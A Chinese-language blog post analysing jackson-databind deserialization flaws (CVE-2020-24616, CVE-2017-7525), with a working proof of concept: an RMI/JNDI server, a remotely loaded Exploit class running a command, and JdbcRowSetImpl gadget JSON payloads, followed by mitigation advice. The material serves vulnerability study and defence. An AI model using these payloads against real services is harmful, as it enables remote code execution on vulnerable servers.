Jackson-databind引發的漏洞問題分析

前言

最近公司內部提供了一份應用高危漏洞的清單,其中提到了fastjson和jackson,因爲之前對fastjson因爲多態問題引發的反序列化問題有過了解,所以打算也做一個簡單的分析。

漏洞簡述

2020年08月27日,360CERT監測發現 jackson-databind 發佈了 jackson-databind 序列化漏洞 的風險通告,該漏洞編號爲 CVE-2020-24616 ,漏洞等級:高危,漏洞評分:7.5。

br.com.anteros:Anteros-DBCP 中存在新的反序列化利用鏈,可以繞過 jackson-databind 黑名單限制,遠程攻擊者通過向使用該組件的web服務接口發送特製請求包,可以造成 遠程代碼執行 影響。

受影響的版本:fasterxml:jackson-databind: <2.9.10.6,該版本還修復了下述利用鏈:

  • org.arrahtec:profiler-core
  • com.nqadmin.rowset:jdbcrowsetimpl
  • com.pastdev.httpcomponents:configuration

上述 package 中存在新的反序列化利用鏈,可以繞過 jackson-databind 黑名單限制,遠程攻擊者通過向使用該組件的web服務接口發送特製請求包,可以造成 遠程代碼執行 影響。

漏洞分析

其實此漏洞和前幾年jackson爆出來的另外一個漏洞(CVE-2017-7525)是一脈相承的,都是利用反序列化遠程執行代碼;至於爲什麼會出現這個問題,其實歸根結底和多態有關,下面做一個簡單的分析;

序列化中的多態問題

我們平時見得最多的json格式可能像下面這樣:

{"fruit":{"name":"apple"},"mode":"online"}

裏面是沒有任何類信息的,拿到json字符串直接通過相關方法轉化爲對象:

public <T> T readValue(String content, Class<T> valueType)

像以上這種情況基本上是不會有什麼問題的,但是很多業務中有多態的需求,比如像下面這樣:

//水果接口類
public interface Fruit {
}

//通過指定的方式購買水果
public class Buy {
    private String mode;
    private Fruit fruit;
}

//具體的水果類--蘋果
public class Apple implements Fruit {
    private String name;
}

//具體的水果類--香蕉
public class Banana implements Fruit {
    private String name;
}

可以發現這裏的Buy對象裏面存放的是Fruit,並不是具體的某種水果,如果這時候你去序列化:

Banana banana = new Banana();
banana.setName("banana");

Buy buy = new Buy("online", banana);

ObjectMapper mapper = new ObjectMapper();

// 序列化
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString : " + jsonString);

// 反序列化
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);

序列化是可以成功的,結果如下所示:

{"mode":"online","fruit":{"name":"banana"}}

但是在反序列化的時候,程序中完全沒法知道fruit到底是蘋果還是香蕉,所以會直接報錯:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information

面對這種問題,jackson提供了相關的技術支持,主要有以下這麼兩種:

  • 全局DefaultTyping機制
  • 爲Class添加@JsonTypeInfo

多態問題支持

全局DefaultTyping機制相對來說比較簡單,一個配置就解決了;而@JsonTypeInfo註解模式相對來說比較麻煩;

全局DefaultTyping機制

只需要對ObjectMapper開啓此配置即可:

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);

這樣再去執行剛剛的序列化方法,結果會是如下這樣:

{"@class":"com.jackson.Buy","mode":"online","fruit":{"@class":"com.jackson.impl.Banana","name":"banana"}}

可以發現在json裏面包含了類信息,這樣在反序列化的時候,就能識別具體的類,這樣就能反序列化成功;

JsonTypeInfo註解模式

此種模式需要針對每種類型做專門的處理,相對來說比較麻煩,我們需要在Fruit接口中做處理:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
        @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {

}

可以發現如果發現是子類Apple,就用字符a代替;如果發現是子類Banana,就用字符b代替;序列化的結果如下:

{"mode":"online","fruit":{"type":"b","name":"banana"}}

這種模式通過在json字符串中添加了具體類的type,這樣在反序列化的時候也同樣可以成功;

漏洞重現

以上介紹了兩種jackson在解決多態問題的方案,那問題出在哪裏;其實問題的根源就出在全局DefaultTyping機制中對生成的json字符串中包含了類信息,這樣對攻擊者來說就相當於留了一個後門,可以通過在json字符串中傳入一些特殊的類,對服務器引發災難性後果;上面也提到此問題其實在(CVE-2017-7525)漏洞中已經出現,這裏可以做一個簡單模擬;

CVE-2017-7525重現

當時要求的版本是不低於2.8.9,這裏直接使用此版本來模擬;

<dependency>
	<groupId>com.fasterxml.jackson.core</groupId>
	<artifactId>jackson-databind</artifactId>
	version>2.8.10</version>
</dependency>

一個常見的攻擊類是:com.sun.rowset.JdbcRowSetImpl,此類的dataSourceName支持傳入一個rmi的源,然後可以設置autocommit自動連接,執行rmi中的方法; 這裏首選需要準備一個RMI類:

public class RMIServer {
    public static void main(String argv[]) {
         Registry registry = LocateRegistry.createRegistry(1098);
         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
         registry.bind("Exploit", new ReferenceWrapper(reference));
    }
}

這裏的Reference指定了類名,以及遠程地址,可以從遠程服務器上加載class文件來實例化;準備好Exploit類,編譯成class文件,然後把他放在本地的http服務器中即可;

public class Exploit {
    public Exploit() {
         Runtime.getRuntime().exec("calc");
    }
}

這裏我們做了一個簡單的模擬,讓服務器在本地調用計算器;

有了以上這些,下面要準備攻擊的json字符串,如下所示:

{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

反序列化相關代碼如下:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);

在反序列化的時候,先執行setDataSourceName方法,然後setAutoCommit的時候會自動連接設置的dataSourceName屬性,最終獲取到Exploit類執行其中的相關操作,以上的程序會在本地調起計算器;

image-20210325155140627.png

如果做升級處理,升級到2.8.10版本,同樣執行以上的代碼,結果如下:

Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition for type Lcom/sun/rowset/JdbcRowSetImpl;: Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

可以發現JdbcRowSetImpl已經進入了jackson的黑名單中;但是黑名單往往是不全的,後續可能經常爆出漏洞,比如這次的漏洞;

CVE-2020-24616重現

這樣同樣使用漏洞前的版本,我們使用2.9.10.5版本,存在漏洞的com.nqadmin.rowset.jdbcrowsetimpl,引入如下:

<dependency>
	<groupId>com.fasterxml.jackson.core</groupId>
	<artifactId>jackson-databind</artifactId>
	<version>2.9.10.5</version>
</dependency>
<dependency>
    <groupId>com.nqadmin.rowset</groupId>
    <artifactId>jdbcrowsetimpl</artifactId>
    <version>1.0.2</version>
</dependency>

再次提供攻擊json字符串:

{"@class":"com.nqadmin.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

執行上面同樣的代碼,使用如上json字符串,同樣能夠調起本地計算器;下面要做的就是升級版本:>2.9.10.6;再次執行結果如下:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

可以發現com.nqadmin.rowset.JdbcRowSetImpl已經進入黑名單;

漏洞總結

可以發現類似的漏洞在很多json序列化工具中都有,黑名單的方案其實也是比較臨時性的,想要徹底解決這個問題其實是很難的,因爲你不知道以後還會出現什麼jar包有遠程執行的功能,所以下面對jackson序列化工具做一點使用上的總結;

不要使用DefaultTyping

可以發現問題的根源在於DefaultTyping方式導致在json字符串中出現了類信息,其實上面也介紹了完全可以通過JsonTypeInfo方式代替;只不過相對來說麻煩點,但是對於安全性來說這點不算什麼;

可以發現新版jackson中已經不建議使用DefaultTyping了,此方法已經被標識爲@Deprecated

    @Deprecated
    public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {
    }

反序列化指定具體類

其實我們可以發現這些黑名單中的類,我們平時很少使用,我們大部分情況都使用的是一些業務類,這樣我們在反序列化的時候儘量使用具體類,不要使用Object,如上面的代碼:

objectMapper.readValue(json, Object.class);

如果我們這裏填的是具體的業務類,如果真的接收到一個攻擊json字符串,其實程序首先也會對json中的類信息是否和指定的類信息是否一致,如果不一致,直接不會執行:

objectMapper.readValue(json, Banana.class);

上面再反序列化的時候,直接報錯:

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana]: missing type id property 'type'

感謝關注

可以關注微信公衆號「回滾吧代碼」,第一時間閱讀,文章持續更新;專注Java源碼、架構、算法和麪試。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章